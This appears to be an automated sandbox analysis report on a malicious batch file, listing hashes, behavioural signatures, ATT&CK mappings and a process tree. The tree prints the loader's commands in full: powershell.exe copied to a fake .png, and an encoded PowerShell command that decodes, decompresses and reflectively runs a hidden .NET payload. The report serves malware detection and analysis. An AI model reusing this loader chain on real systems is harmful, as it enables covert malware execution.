9774fdea7e8ed96bfafe6e2bb78948c6f54cfcba577502fbf5dbed9d251dc63a

General

Target

DN 729950068251.bat
Size

1019KB
MD5

f3d4c5c46c3d6b6f245032ced203e902
SHA1

2ffa30c68e1182acf0976f0b1021f523e6a0edf4
SHA256

36848413f8c343c47d8bf2f8ec254d402357031b1fb976cfe925e00438119c8a
SHA512

ecea94028784e376ffb79d55053f9eeca53ad9beff94b499463d710d4b111b21d876c8bf5e15ca7640a87550d366714229236bc5cb66cc1df6108426c564a56f
SSDEEP

24576:e4iTYb5PEHqFhUIzJMMbhgBpUxFR2Id6FnWhhh0c2j:mYbuHaNbh0m2W0c8

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
2768	Ckiczrjbb.png

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2768	Ckiczrjbb.png

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2768	Ckiczrjbb.png

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2768	Ckiczrjbb.png

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 2916 wrote to memory of 2428	2916	cmd.exe	29
PID 2916 wrote to memory of 2428	2916	cmd.exe	29
PID 2916 wrote to memory of 2428	2916	cmd.exe	29
PID 2428 wrote to memory of 2912	2428	cmd.exe	31
PID 2428 wrote to memory of 2912	2428	cmd.exe	31
PID 2428 wrote to memory of 2912	2428	cmd.exe	31
PID 2428 wrote to memory of 3064	2428	cmd.exe	32
PID 2428 wrote to memory of 3064	2428	cmd.exe	32
PID 2428 wrote to memory of 3064	2428	cmd.exe	32
PID 2428 wrote to memory of 1612	2428	cmd.exe	33
PID 2428 wrote to memory of 1612	2428	cmd.exe	33
PID 2428 wrote to memory of 1612	2428	cmd.exe	33
PID 2428 wrote to memory of 1620	2428	cmd.exe	34
PID 2428 wrote to memory of 1620	2428	cmd.exe	34
PID 2428 wrote to memory of 1620	2428	cmd.exe	34
PID 2428 wrote to memory of 2768	2428	cmd.exe	35
PID 2428 wrote to memory of 2768	2428	cmd.exe	35
PID 2428 wrote to memory of 2768	2428	cmd.exe	35
PID 2428 wrote to memory of 2768	2428	cmd.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\DN 729950068251.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2916
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\DN 729950068251.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2428
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo F "
    3⤵
    PID:2912
- - C:\Windows\system32\xcopy.exe
    xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Ckiczrjbb.png
    3⤵
    PID:3064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo F "
    3⤵
    PID:1612
- - C:\Windows\system32\xcopy.exe
    xcopy /d /q /y /h /i "C:\Users\Admin\AppData\Local\Temp\DN 729950068251.bat" C:\Users\Admin\AppData\Local\Temp\Ckiczrjbb.png.bat
    3⤵
    PID:1620
- - C:\Users\Admin\AppData\Local\Temp\Ckiczrjbb.png
    C:\Users\Admin\AppData\Local\Temp\Ckiczrjbb.png -win 1 -enc JABDAHkAeQB4AHIAZQBmAGYAeQBsAGIAIAA9ACAAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAKAAoAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlACkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACIALgBiAGEAdAAiACkALAAgAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4ACkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0AbABhAHMAdAAgADEAOwAgACQATAB1AHgAZQB5AHMAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABDAHkAeQB4AHIAZQBmAGYAeQBsAGIAKQA7ACQAUABxAGkAdgB0AHEAcgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAoACAALAAgACQATAB1AHgAZQB5AHMAcwAgACkAOwAkAG8AdQB0AHAAdQB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABXAHUAdgBiAHcAcQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACAAJABQAHEAaQB2AHQAcQByACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABXAHUAdgBiAHcAcQAuAEMAbwBwAHkAVABvACgAIAAkAG8AdQB0AHAAdQB0ACAAKQA7ACQAVwB1AHYAYgB3AHEALgBDAGwAbwBzAGUAKAApADsAJABQAHEAaQB2AHQAcQByAC4AQwBsAG8AcwBlACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAgACQATAB1AHgAZQB5AHMAcwAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABMAHUAeABlAHkAcwBzACkAOwAgACQAVgBwAHEAdQBjAHUAeABiAG0AYgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABMAHUAeABlAHkAcwBzACkAOwAgACQAWgBlAHoAdwBxAG8AcQBwAGkAbwAgAD0AIAAkAFYAcABxAHUAYwB1AHgAYgBtAGIALgBHAGUAdABFAHgAcABvAHIAdABlAGQAVAB5AHAAZQBzACgAKQBbADAAXQA7ACAAJABTAGUAdAB4AGUAaABlAHMAZABlACAAPQAgACQAWgBlAHoAdwBxAG8AcQBwAGkAbwAuAEcAZQB0AE0AZQB0AGgAbwBkAHMAKAApAFsAMABdAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2768

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Ckiczrjbb.png

Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
C:\Users\Admin\AppData\Local\Temp\Ckiczrjbb.png

Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
memory/2768-8-0x0000000074BA0000-0x000000007514B000-memory.dmp

Filesize
5.7MB

Download
memory/2768-9-0x0000000074BA0000-0x000000007514B000-memory.dmp

Filesize
5.7MB

Download
memory/2768-10-0x00000000020D0000-0x0000000002110000-memory.dmp

Filesize
256KB

Download
memory/2768-11-0x00000000020D0000-0x0000000002110000-memory.dmp

Filesize
256KB

Download
memory/2768-12-0x0000000074BA0000-0x000000007514B000-memory.dmp

Filesize
5.7MB

Download

Analysis

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